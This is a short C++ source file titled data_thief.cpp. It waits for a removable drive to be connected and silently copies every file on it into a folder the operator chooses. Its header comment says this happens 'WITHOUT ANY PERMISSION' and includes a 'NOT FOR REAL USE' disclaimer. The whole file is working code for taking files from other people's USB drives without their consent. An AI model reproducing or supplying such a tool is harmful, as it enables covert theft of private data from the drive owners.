data_thief.cpp

#include <windows.h>
#include <iostream>
#include <string>
#include <chrono>

/*This program waits for connection of removable drives and copies  data from there to selected folder on your PC WITHOUT ANY PERMISSION.
Also it tracks connection time and outputs copied files. DENIAL OF RESPONSIBILITY : THIS CODE IS JUST SHOWS C++ POSSIBILITIES. 
NOT FOR REAL USE!!!*/

std::wstring destination_path = L"";// where to copy

void Recursive_search(std::wstring path)//Recursive traverse of directory
{
    WIN32_FIND_DATAW FindData;//struct for file data
    HANDLE hFile = INVALID_HANDLE_VALUE;
    hFile = FindFirstFileW(path.c_str(),&FindData);
    if (hFile == INVALID_HANDLE_VALUE)
        return;
    while (FindNextFileW(hFile,&FindData) != 0)
    {
        std::wstring temp_str = FindData.cFileName;
        if (temp_str.length() == 1 && temp_str.find('.') !=std::wstring::npos)
            if(FindNextFileW(hFile,&FindData) == 0)
                break;
        if (temp_str.length() == 2 && temp_str.find(L"..") != std::wstring::npos)
            if(FindNextFileW(hFile,&FindData) == 0)
                break;
        if (FindData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)//is directory
             Recursive_search(path.substr(0,path.length()-1) + FindData.cFileName + L"\\*");
        else
        {
            std::wcout << FindData.cFileName << std::endl;
            CopyFileW((path.substr(0,path.length()-1) + FindData.cFileName).c_str() ,(destination_path +  FindData.cFileName).c_str() ,false);
        }
    }
}
void ConnectionControl()
{
    std::wcout << L"WAITING FOR CONNECTION... " << std::endl;
    while (true)
    {
        DWORD DriveMask = GetLogicalDrives();//GetLogicalDrives()=> returns bitmask of drives
        const char FirstDrive = 'A';
        wchar_t iDrive;
        for (int i = 0; i < 32; i++)
            if (DriveMask & (1 << i))
            {
                iDrive = FirstDrive + i;
                std::wstring drive_name(1,iDrive);
                drive_name += L":\\";
                if (GetDriveTypeW((wchar_t*)drive_name.c_str()) == DRIVE_REMOVABLE)//is portable storage
                {
                    std::time_t current_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());//connection time
                    std::wcout << L"REMOVABLE DRIVE CONNECTED\n\nTIME: " << std::ctime(&current_time_t) << std::endl<< std::endl;
                    std::wcout << L"COPIED FILES:\n";
                    Recursive_search(drive_name + L"*");
                    return;
                }
            }
    }
}
int main()
{
    setlocale(LC_ALL,"");
    std::wcout <<"ENTER WANTED PATH FOR COPIED FILES: ";
    std::wcin >> destination_path;
    ConnectionControl();
    system("pause");
    return 0;
}